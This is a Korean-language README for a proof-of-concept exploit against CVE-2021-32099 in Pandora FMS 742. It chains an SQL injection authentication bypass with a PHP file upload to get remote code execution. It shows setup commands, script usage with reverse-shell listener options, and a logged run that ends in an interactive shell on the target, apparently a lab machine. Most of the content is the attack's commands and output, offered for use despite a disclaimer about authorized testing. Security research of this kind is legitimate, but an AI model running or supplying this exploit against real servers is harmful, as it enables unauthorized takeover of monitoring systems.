
CVE-2021-32099용 PoC
이 저장소는 CVE-2021-32099 취약점에 대한 개념 증명(PoC) 익스플로잇을 제공하며, Pandora FMS 742에 영향을 미칩니다. 이 익스플로잇은 인증되지 않은 공격자가 SQL 삽입 취약점을 악용하여 권한이 없는 세션을 관리자 수준 계정으로 승격시킬 수 있는 방법을 보여줍니다. 관리자 액세스 권한을 획득하면 공격자는 Pandora FMS 파일 관리자를 통해 임의의 PHP 파일을 업로드하여 원격 코드 실행을 유발하고 웹 서버 사용자 권한으로 서버를 손상시킬 수 있습니다.
이 프로젝트는 교육, 연구 및 승인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에서 이 코드를 사용하지 마십시오.
저자는 어떠한 손해나 오용에 대해 책임을 지지 않습니다.
python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py
usage: python3 ./CVE-2021-32099.py [--target TARGET] [--lhost LHOST] [--lport LPORT]
options:
--target TARGET Full URL of the vulnerable Pandora FMS instance.
--lhost LHOST IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.
--lport LPORT Port number the reverse shell listener will bind to.
Example: python3 ./CVE-2021-32099.py --target http://target.com --lhost 10.10.14.157 --lport 4444
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py --target http://localhost --lhost 10.10.14.81 --lport 4444
[+] Bypassing authentication...OK
[+] Uploading reverse shell...OK
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.177.29 on port 37308
[+] Executing reverse shell...
[*] Switching to interactive mode
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:59:07 up 17:30, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$